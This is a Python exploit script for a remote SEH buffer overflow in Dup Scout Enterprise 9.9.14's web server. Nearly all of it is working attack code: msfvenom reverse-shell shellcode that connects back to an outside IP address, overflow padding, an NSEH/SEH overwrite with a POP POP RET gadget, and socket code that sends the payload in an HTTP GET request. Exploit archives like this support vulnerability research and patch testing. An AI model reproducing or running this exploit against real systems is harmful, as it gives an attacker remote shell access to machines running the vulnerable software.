Dup Scout Enterprise 9.9.14 – Remote Buffer Overflow (SEH)
#!/usr/bin/env python # Exploit Title: Dup Scout Enterprise v 9.9.14 # Date: 2017-08-25 # Exploit Author: Nipun Jaswal & Anurag Srivastava # Author Homepage: www.pyramidcyber.com # Vendor Homepage: http://www.dupscout.com # Software Link: http://www.dupscout.com/setups/dupscoutent_setup_v9.9.14.exe # Version: v9.9.14 # Tested on: Windows 7 SP1 x64 # Steps to Reproduce : Go to Options --> Server --> Check Enable Web Server on Port, Enter Any Port[8080] --> Save import socket,sys target = "127.0.0.1" port = 8080 #msfvenom -p windows/shell_reverse_tcp LHOST=185.92.223.120 LPORT=4443 EXITFUN=none -e x86/alpha_mixed -f python buf = "" buf += "\x89\xe3\xda\xde\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x6d" buf += "\x52\x35\x50\x37\x70\x65\x50\x71\x70\x6b\x39\x4d\x35" buf += "\x70\x31\x4b\x70\x63\x54\x6c\x4b\x56\x30\x76\x50\x4c" buf += "\x4b\x63\x62\x76\x6c\x4c\x4b\x50\x52\x76\x74\x4c\x4b" buf += "\x42\x52\x36\x48\x34\x4f\x58\x37\x51\x5a\x37\x56\x46" buf += "\x51\x79\x6f\x6e\x4c\x55\x6c\x31\x71\x51\x6c\x67\x72" buf += "\x34\x6c\x51\x30\x59\x51\x48\x4f\x36\x6d\x65\x51\x79" buf += "\x57\x59\x72\x6b\x42\x72\x72\x72\x77\x4c\x4b\x52\x72" buf += "\x76\x70\x6c\x4b\x61\x5a\x77\x4c\x6e\x6b\x42\x6c\x66" buf += "\x71\x50\x78\x6a\x43\x32\x68\x75\x51\x6b\x61\x36\x31" buf += "\x4e\x6b\x70\x59\x47\x50\x75\x51\x7a\x73\x4c\x4b\x30" buf += "\x49\x66\x78\x79\x73\x64\x7a\x73\x79\x6c\x4b\x45\x64" buf += "\x4c\x4b\x36\x61\x7a\x76\x50\x31\x6b\x4f\x4e\x4c\x4f" buf += "\x31\x7a\x6f\x36\x6d\x43\x31\x39\x57\x74\x78\x6b\x50" buf += "\x31\x65\x6b\x46\x43\x33\x53\x4d\x68\x78\x77\x4b\x33" buf += "\x4d\x31\x34\x44\x35\x78\x64\x56\x38\x6e\x6b\x36\x38" buf += "\x75\x74\x56\x61\x78\x53\x65\x36\x4e\x6b\x66\x6c\x30" buf += "\x4b\x6e\x6b\x33\x68\x65\x4c\x63\x31\x68\x53\x6c\x4b" buf += "\x65\x54\x4e\x6b\x33\x31\x58\x50\x6e\x69\x43\x74\x31" buf += "\x34\x65\x74\x53\x6b\x71\x4b\x71\x71\x46\x39\x72\x7a" buf += "\x53\x61\x39\x6f\x49\x70\x43\x6f\x61\x4f\x61\x4a\x4e" buf += "\x6b\x44\x52\x78\x6b\x6e\x6d\x33\x6d\x33\x58\x75\x63" buf += "\x50\x32\x35\x50\x37\x70\x32\x48\x54\x37\x70\x73\x34" buf += "\x72\x63\x6f\x66\x34\x62\x48\x52\x6c\x52\x57\x44\x66" buf += "\x43\x37\x39\x6f\x79\x45\x4c\x78\x4e\x70\x43\x31\x45" buf += "\x50\x57\x70\x34\x69\x6f\x34\x51\x44\x70\x50\x53\x58" buf += "\x76\x49\x6f\x70\x50\x6b\x33\x30\x79\x6f\x5a\x75\x50" buf += "\x50\x46\x30\x42\x70\x46\x30\x51\x50\x62\x70\x67\x30" buf += "\x70\x50\x30\x68\x79\x7a\x56\x6f\x69\x4f\x49\x70\x69" buf += "\x6f\x48\x55\x6f\x67\x52\x4a\x36\x65\x75\x38\x68\x39" buf += "\x33\x6c\x6b\x6f\x74\x38\x52\x48\x43\x32\x57\x70\x44" buf += "\x51\x71\x4b\x4c\x49\x4b\x56\x31\x7a\x72\x30\x56\x36" buf += "\x50\x57\x63\x58\x6d\x49\x6d\x75\x34\x34\x63\x51\x79" buf += "\x6f\x4b\x65\x6c\x45\x6b\x70\x43\x44\x36\x6c\x69\x6f" buf += "\x72\x6e\x76\x68\x52\x55\x48\x6c\x52\x48\x78\x70\x6c" buf += "\x75\x6f\x52\x52\x76\x4b\x4f\x4e\x35\x42\x48\x43\x53" buf += "\x50\x6d\x35\x34\x63\x30\x6e\x69\x4d\x33\x62\x77\x43" buf += "\x67\x56\x37\x75\x61\x39\x66\x42\x4a\x62\x32\x31\x49" buf += "\x70\x56\x69\x72\x39\x6d\x72\x46\x59\x57\x51\x54\x45" buf += "\x74\x77\x4c\x33\x31\x46\x61\x4e\x6d\x37\x34\x57\x54" buf += "\x56\x70\x68\x46\x47\x70\x62\x64\x36\x34\x46\x30\x61" buf += "\x46\x36\x36\x62\x76\x70\x46\x72\x76\x32\x6e\x61\x46" buf += "\x30\x56\x56\x33\x70\x56\x73\x58\x53\x49\x48\x4c\x55" buf += "\x6f\x4f\x76\x49\x6f\x4a\x75\x4f\x79\x39\x70\x52\x6e" buf += "\x72\x76\x37\x36\x4b\x4f\x56\x50\x61\x78\x65\x58\x4e" buf += "\x67\x57\x6d\x75\x30\x39\x6f\x59\x45\x6f\x4b\x78\x70" buf += "\x4d\x65\x4e\x42\x71\x46\x71\x78\x6e\x46\x6c\x55\x4f" buf += "\x4d\x6f\x6d\x79\x6f\x59\x45\x35\x6c\x53\x36\x53\x4c" buf += "\x54\x4a\x4d\x50\x6b\x4b\x4b\x50\x54\x35\x65\x55\x6d" buf += "\x6b\x63\x77\x55\x43\x43\x42\x32\x4f\x63\x5a\x43\x30" buf += "\x72\x73\x4b\x4f\x48\x55\x41\x41" payload = buf # Shellcode begins from the start of the buffer payload += 'A' * (2492 - len(payload)) # Padding after shellcode till the offset value payload += '\xEB\x10\x90\x90' # NSEH, a short jump of 10 bytes payload += '\xDD\xAD\x13\x10' # SEH : POP EDI POP ESI RET 04 libpal.dll payload += '\x90' * 10 # NOPsled payload += '\xE9\x25\xBF\xFF\xFF' # Second JMP to ShellCode payload += 'D' * (5000-len(payload)) # Additional Padding s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,port)) print "[*] Connection Success." except: print "Connction Refused %s:%s" %(target,port) sys.exit(2) packet = "GET /../%s HTTP/1.1\r\n" %payload # Request & Headers packet += "Host: 4.2.2.2\r\n" packet += "Connection: keep-alive\r\n" packet += "Referer: http://pyramidcyber.com\r\n" packet += "\r\n" s.send(packet) s.close() |